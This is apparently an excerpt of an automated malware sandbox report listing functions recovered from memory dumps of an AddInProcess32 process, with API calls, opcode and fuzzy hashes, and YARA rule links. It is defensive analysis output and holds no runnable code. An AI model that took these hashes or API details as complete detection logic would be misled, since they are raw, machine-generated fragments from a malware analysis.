Opcode Fuzzy Hash: 407cb4d5d22dca9cc2942d3399aedd8e95ac0ffff64bcabff8eb751c147d2258
Instruction Fuzzy Hash: ACA18035E103199FDB04DFA4D8549DEBBBAFF99310F14821AE415AF3A0DB30A841DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 064A1BF0 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d49225fe116525dcd682b90e1d4c60b6e48f64903d17df81ce409abe6730f79
Instruction ID: 964860486d574f920fee7894be5c9719cd39d8b5f57e2a879d6ba530a0f2d46b
Opcode Fuzzy Hash: 1d49225fe116525dcd682b90e1d4c60b6e48f64903d17df81ce409abe6730f79
Instruction Fuzzy Hash: 7C918F35E103199FDB05DBA4D8849DEBBBAFF99310F148219E415AF3A4DB30A841DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 064A1790 Relevance: 1.8, APIs: 1, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1cf90ede89c07dd8dd1defce6d7a16a1fc21088c7092f281237d8abff810da1
Instruction ID: 7b62943d733ceb12c41cb33d6d98e8ac17bceed51f2a33cdfe68008e75b1badd
Opcode Fuzzy Hash: b1cf90ede89c07dd8dd1defce6d7a16a1fc21088c7092f281237d8abff810da1
Instruction Fuzzy Hash: 91A19EB6C05348AFCF52CFA5C840AD9BFB5EF6A310F19819FE444AB252D3318846CB51

Uniqueness

Uniqueness Score: -1.00%

Function 030CA828 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 030CAA7E

Memory Dump Source

Source File: 00000008.00000002.2729017241.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_30c0000_AddInProcess32.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 190cda36cd07968b1238e45e58eaa8c07c571d0c2746799a56cc47f8236b5bbc
Instruction ID: b9259c59514e573da51de560723f1853504bbb54f10a64f83f0bc7b81a5918c7
Opcode Fuzzy Hash: 190cda36cd07968b1238e45e58eaa8c07c571d0c2746799a56cc47f8236b5bbc
Instruction Fuzzy Hash: 6E714470A11B498FD764CF2AD15579ABBF1FF88200F048A6DD48ADBA50D774E84ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 064A18F0 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 064A1A02

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 0c53bcd6875fbd1d7d7b88e1c6be0a3592080b16d2fd6f8edb220ee6159d90bd
Instruction ID: 6c9a8f69db5c71b774e0cdc40eec71e4f6bc71b9c570e301839a4cda0e94f247
Opcode Fuzzy Hash: 0c53bcd6875fbd1d7d7b88e1c6be0a3592080b16d2fd6f8edb220ee6159d90bd
Instruction Fuzzy Hash: 0041B2B1D00349EFDB15CF99D984ADEFBB6BF48310F24812AE419AB210D7759985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 064A4050 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 064A4111

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 9f1e3c76e5afe8ee7218ed95c344ae40ef6e6b471c2e95722673214e7e023323
Instruction ID: 6002d19357fc5985c6f9b417908ca45ea45e114aaac7ed44e894feaffc69f8fa
Opcode Fuzzy Hash: 9f1e3c76e5afe8ee7218ed95c344ae40ef6e6b471c2e95722673214e7e023323
Instruction Fuzzy Hash: 274127B4900305DFDB54CF99C849AAEBBF5FB98314F24C459D419AB321D374A841CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 030CD1D1 Relevance: 1.6, APIs: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,030CD0D6,?,?,?,?,?), ref: 030CD197

Memory Dump Source

Source File: 00000008.00000002.2729017241.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_30c0000_AddInProcess32.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9be606a57e4eef0e375eca1a35e3ed5244ff73e45ed1d0abc61b7bb600589eb1
Instruction ID: d675c1f1e55fdb00b210952811a545e3677abc2ee71d28570067f8c0c8954fc9
Opcode Fuzzy Hash: 9be606a57e4eef0e375eca1a35e3ed5244ff73e45ed1d0abc61b7bb600589eb1
Instruction Fuzzy Hash: E8312F74A90340DFE708DF68F54A7697BA6E789300F25846AED068B7C4CA78494ADF21

Uniqueness

Uniqueness Score: -1.00%

Function 064AA578 Relevance: 1.6, APIs: 1, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: c63dfc64907f11e6a3f904f55381ac9f40af590ae180240dd446f9344e0fe3bc
Instruction ID: d4577d8407bee40fe4c9d06e2e955e25387102ac688cfe9db86864ee8db92e30
Opcode Fuzzy Hash: c63dfc64907f11e6a3f904f55381ac9f40af590ae180240dd446f9344e0fe3bc
Instruction Fuzzy Hash: 44319F72904388EFDB11CFA9D844AEEBFF4EF09310F14809AE954A7251C3359955DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 064AC804 Relevance: 1.6, APIs: 1, Instructions: 78
comclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleGetClipboard.OLE32(?), ref: 064AC898

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 76069a3d0c733f3affcf24d4b800a14ba8a3a50f3b3c99d17ea32206dd6ac791
Instruction ID: 9f767c62962946c45b7abf60c28b58459c013ad97f7c8028055012c74ad95411
Opcode Fuzzy Hash: 76069a3d0c733f3affcf24d4b800a14ba8a3a50f3b3c99d17ea32206dd6ac791
Instruction Fuzzy Hash: B931E1B0D01348EFEB64DF99C984BDEBBF5BB48314F24805AE404BB290D7B59985CB91

Uniqueness

Uniqueness Score: -1.00%

Function 064AC1F8 Relevance: 1.6, APIs: 1, Instructions: 74
comclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleGetClipboard.OLE32(?), ref: 064AC898

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: fe71a80767c8b54fada8406ec50f3990934a65ba1864b8dd4fd5aa8bab7c7e14
Instruction ID: e3a293a004b9e2b03ec3bd8802c057b0cabb23c09a81fd372a6580e2da66727a
Opcode Fuzzy Hash: fe71a80767c8b54fada8406ec50f3990934a65ba1864b8dd4fd5aa8bab7c7e14
Instruction Fuzzy Hash: 8C31D2B0D01348EFDB54DF99C984B9EBBF5BB48304F24805AE404AB290D7B45945CB95

Uniqueness

Uniqueness Score: -1.00%

Function 030CD108 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,030CD0D6,?,?,?,?,?), ref: 030CD197

Memory Dump Source

Source File: 00000008.00000002.2729017241.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_30c0000_AddInProcess32.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5c48f4c752e5246383a0b699656bf3841f6fdc05f60562be6557233f87c4a2ff
Instruction ID: 2c92937af566db025d8766356d441765412ae864d2ceb141bfeffc3fd8588e0e
Opcode Fuzzy Hash: 5c48f4c752e5246383a0b699656bf3841f6fdc05f60562be6557233f87c4a2ff
Instruction Fuzzy Hash: 4121E5B5901348AFDB10CF9AD884ADEFBF4FB48310F14846AE914A7350D374A940CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 030CB5B0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,030CD0D6,?,?,?,?,?), ref: 030CD197

Memory Dump Source

Source File: 00000008.00000002.2729017241.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_30c0000_AddInProcess32.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ce1ea1f4d33a203de24f681657dd364478695e837f36d108f6c2c6738bbb96ea
Instruction ID: 0ddb8d86535114fa2d0fe0886995ea780a4d180c6be46b85be145fef5e5fbfec
Opcode Fuzzy Hash: ce1ea1f4d33a203de24f681657dd364478695e837f36d108f6c2c6738bbb96ea
Instruction Fuzzy Hash: 7421E5B5911348AFDB10CF9AD884ADEFBF4EB48310F14846AE914A7350D374A950CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 064A9104 Relevance: 1.6, APIs: 1, Instructions: 56
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,064AA592,?,?,?,?,?), ref: 064AA637

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 71cfb9851854f05365c876e462802186b278535a0f0204c3a32f325ba2b8b717
Instruction ID: 6e376a32f2de934e05ad87e5544ee3910a689c3523786a977bf5528c7ac624c5
Opcode Fuzzy Hash: 71cfb9851854f05365c876e462802186b278535a0f0204c3a32f325ba2b8b717
Instruction Fuzzy Hash: 061114B2800349DFDB10CFAAD844BEEBBF8EB48320F14845AE555A7250C375A990CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 030C9B98 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,030CAAF9,00000800,00000000,00000000), ref: 030CAD0A

Memory Dump Source

Source File: 00000008.00000002.2729017241.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_30c0000_AddInProcess32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0b711d10e47755fec8b1a3f6bd52056e8f0ef642f9babdd71713f644aed80efc
Instruction ID: dd92333b46fecf01e8e9bc790353ed1eff21df444db776c42719400eca6faf89
Opcode Fuzzy Hash: 0b711d10e47755fec8b1a3f6bd52056e8f0ef642f9babdd71713f644aed80efc
Instruction Fuzzy Hash: BA1103B69013488FDB10CF9AD484BDEFBF4EB48210F14842EE419A7200C375A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 030CAC98 Relevance: 1.6, APIs: 1, Instructions: 52
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,030CAAF9,00000800,00000000,00000000), ref: 030CAD0A

Memory Dump Source

Source File: 00000008.00000002.2729017241.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_30c0000_AddInProcess32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b22169ebac9b747af123cc21415bd552a5505387be1ef44da2436d083028c5c0
Instruction ID: e65047d826ab5db3aa85cb72c1a82ca481d4a807a1e31495bf0051130c7e720d
Opcode Fuzzy Hash: b22169ebac9b747af123cc21415bd552a5505387be1ef44da2436d083028c5c0
Instruction Fuzzy Hash: 571112B6D013488FDB10CFAAD484BEEFBF4AB48210F14842ED459A7200C378A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 064AA939 Relevance: 1.5, APIs: 1, Instructions: 49
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageW.USER32(?,?,?,?,?,?,?,064AA929,?,?,00000000,?,?), ref: 064AA99D

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 659269001282a7fd138902e5da7f166437861d14abd9cee04c521fc6ff6a9ee8
Instruction ID: 3beda096f8764f562a17fbd4c8ac65ac55317ee8e5497152efd1f63275dd2c68
Opcode Fuzzy Hash: 659269001282a7fd138902e5da7f166437861d14abd9cee04c521fc6ff6a9ee8
Instruction Fuzzy Hash: 1F1125B58003489FDB10CF9AD985BDEFBF8EB48310F10841AE558A7240D375A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 030CAA18 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 030CAA7E

Memory Dump Source

Source File: 00000008.00000002.2729017241.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_30c0000_AddInProcess32.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 3a2357520b318f8aba0922ddef72060a60fe530c9c2723745e895e4478c301a5
Instruction ID: 39701b8fdd8dd346fcecb07869fa5060a1888010202530e8d118ea856bd40438
Opcode Fuzzy Hash: 3a2357520b318f8aba0922ddef72060a60fe530c9c2723745e895e4478c301a5
Instruction Fuzzy Hash: 331110B6D013898FCB20CF9AC544BDEFBF4EB88224F14842AD419A7200C379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 064A9148 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?,?,?,?,064AA929,?,?,00000000,?,?), ref: 064AA99D

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 793c8fdeb0f2bc59c606700ac7eddbbd98f8e872fea968af9c6b3582be43d132
Instruction ID: 792303c2a72f60c9108636b0b494d12a88658f61eb7a9a896deea41fc57d6359
Opcode Fuzzy Hash: 793c8fdeb0f2bc59c606700ac7eddbbd98f8e872fea968af9c6b3582be43d132
Instruction Fuzzy Hash: 691136B5800348DFDB10CF9AD984BDEFBF8EB48320F10881AE558A7200C375A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 064AC6C0 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 064AC71D

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 30c50a06140b96268469b6c9e9cc72aa0d6e55e2913a95e6e3ce8b32a23ecbca
Instruction ID: 3c8792717e78b2e64ad345bc8c69ca52adf97211ffbe16b15447a9d239e731aa
Opcode Fuzzy Hash: 30c50a06140b96268469b6c9e9cc72aa0d6e55e2913a95e6e3ce8b32a23ecbca
Instruction Fuzzy Hash: 0C1145B58003499FDB20DF9AD485BDEBBF4EB48324F20845AE518A7300C374A940CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 064A6584 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,?,?,064A6C10), ref: 064AC427

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: e515f0cf96579682154f968b144d186c68f070c956687172e5769a68887e51d6
Instruction ID: a5a163a52e471c713656ec57b922faf061583d22cb6181bf9abadc2c20d2e433
Opcode Fuzzy Hash: e515f0cf96579682154f968b144d186c68f070c956687172e5769a68887e51d6
Instruction Fuzzy Hash: 311125B18043489FCB60CF9AD485BDEBBF4EB48224F10845AD518A7240C374A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 064AC0E4 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 064AC71D

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: cfc76c10e5ab7352faf88c5eb9018f3c838012797153a744151c8ec3b95d457f
Instruction ID: 9e415130f5a6f411150cefdaf520569431b9847372dfa4a2dae3ce3536314c75
Opcode Fuzzy Hash: cfc76c10e5ab7352faf88c5eb9018f3c838012797153a744151c8ec3b95d457f
Instruction Fuzzy Hash: 801115B58043499FDB60DF9AD484BDEFBF4EB48324F20846AE519A7350C374A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 064AC3C1 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,?,?,064A6C10), ref: 064AC427

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 258586a4d9d1ef48b8b5ab735851a249c5d603f7883dbcc6116a5ab9fc6cdfd7
Instruction ID: eb6531fe3537dc5e98b13f7ea366dd8b57de0b7e956fc96cfc81ba3610794b6b
Opcode Fuzzy Hash: 258586a4d9d1ef48b8b5ab735851a249c5d603f7883dbcc6116a5ab9fc6cdfd7
Instruction Fuzzy Hash: 891115B5800348CFDB60CF9AD585BDEFBF4EB48314F21846AD518A7240C378A544CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 064A1B38 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 064A1B95

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: ec1120cd8486af4dea50324062ebe823eae3ffe99df07da537938a939a9e69a9
Instruction ID: fc48a964e961131b8f7bc4115206debc512f2390a062a0ba559416b718b01bf9
Opcode Fuzzy Hash: ec1120cd8486af4dea50324062ebe823eae3ffe99df07da537938a939a9e69a9
Instruction Fuzzy Hash: B11103B58003489FDB10CF9AD585BDEFBF8EB48324F10841AD958A7340C374A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 064A1B30 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 064A1B95

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: bac6843b5ce4fed9d0824dea72801023cff9ff956deb8951f8ced3727cbf7ccc
Instruction ID: 5e83c7688dc71dda7bc3e373afb0126801eccd687534e6598a515e5daf2e04bb
Opcode Fuzzy Hash: bac6843b5ce4fed9d0824dea72801023cff9ff956deb8951f8ced3727cbf7ccc
Instruction Fuzzy Hash: FA11D3B5800349DFDB10CF99D585BDEBBF8EB48324F20855AD958A7340C378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 064A1AF8 Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 064A1B95

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 50cb55ab58cf3efdb02cb23d72d89bb40f81d0e720aadc7abbf69ddff7a5f6bc
Instruction ID: a032a251a2439db258b55c9232004915801e873d75c04cf8275be9529f831a0b
Opcode Fuzzy Hash: 50cb55ab58cf3efdb02cb23d72d89bb40f81d0e720aadc7abbf69ddff7a5f6bc
Instruction Fuzzy Hash: BF018BB6800308EFDB01CF85D845BEBBBF8EB98318F14846AE1599B221D375A154DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0306D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2728471375.000000000306D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0306D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_306d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d5f1442b6a7d56fa2771bdcea755a5147a53c129715d585f14e017a00962495
Instruction ID: 1ee96874816fe5b45bc55ff85f83ca192af7d9140dbe981f386546636ab1b97a
Opcode Fuzzy Hash: 4d5f1442b6a7d56fa2771bdcea755a5147a53c129715d585f14e017a00962495
Instruction Fuzzy Hash: 28212571605344EFDB15DF10D9C0B2ABFA5FB88328F24C5A9E8090B65AC336D456CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0307D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2728710034.000000000307D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0307D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_307d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc4a2d94f62825f11d83eb9be17801c52ffc6d9574fb93543feac9c5b11b1412
Instruction ID: 1f47f7d2ae3a4e4d5380f9e8ced6c786cc9ffd88d2f701fe7adf462026c848e8
Opcode Fuzzy Hash: bc4a2d94f62825f11d83eb9be17801c52ffc6d9574fb93543feac9c5b11b1412
Instruction Fuzzy Hash: 91210475A05344EFDB14DF20D9C4B26BBA5FF84314F24C9ADE84A4B246C336D447CAA6

Uniqueness

Uniqueness Score: -1.00%

Function 0307D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2728710034.000000000307D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0307D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_307d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae1e3a250beb93438291f57dc5981117cc2ffbd4ca4f9867a1fb9c85a865ce68
Instruction ID: 4d54b617491593ea3a7d945bf1674de13c394f620c90aee9991471989eb7a841
Opcode Fuzzy Hash: ae1e3a250beb93438291f57dc5981117cc2ffbd4ca4f9867a1fb9c85a865ce68
Instruction Fuzzy Hash: 842162755093808FDB12CF24D994715BFB1EF46214F28C5DAD8498F6A7C33A940ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0306D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2728471375.000000000306D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0306D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_306d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 335ff2cd27920e120e44ddd98b5f99d48130ef09aa4f624435d54826826d70db
Instruction ID: 136bbec7435f635bf8ad11727d77fed11665f0532fd25f593f6bfdd33c33e5f9
Opcode Fuzzy Hash: 335ff2cd27920e120e44ddd98b5f99d48130ef09aa4f624435d54826826d70db
Instruction Fuzzy Hash: F411D376505280CFCB16CF10D5D4B16BFB2FB84318F28C6AAD8490B65AC336D456CBA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 064A0040 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fbf465555c4cab12f40acef12fa06d01308033078968666455ab4793996a91d
Instruction ID: 5511971a16a4d37228672e16cf67e9d2d573444877889bf7e0fe7ad2185f5c75
Opcode Fuzzy Hash: 9fbf465555c4cab12f40acef12fa06d01308033078968666455ab4793996a91d
Instruction Fuzzy Hash: 5A12A8B08017458BE718EF25ED4C2893BB7F74A328F584209D2651F2E9DBB415CADF64

Uniqueness

Uniqueness Score: -1.00%

Function 030CD034 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2729017241.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_30c0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09513a381d6e24eb589eab2cc09ebdc48f7f9f3303ccb3311a5a7a6f9c893c1b
Instruction ID: 95ac22bd4ffcf68485e7eef8ec82c52690cd3cf215cd7b6f48829faa89671565
Opcode Fuzzy Hash: 09513a381d6e24eb589eab2cc09ebdc48f7f9f3303ccb3311a5a7a6f9c893c1b
Instruction Fuzzy Hash: ADA18F36A113498FCF09DFB4C8805DEB7B2FF88301B19856EE801AB251DB31E946CB50

Uniqueness

Uniqueness Score: -1.00%

Function 064A0006 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 462f06e5ba02b13f226c734448c98c9802adea6b17fd67b52eb0f1cc9fa73945
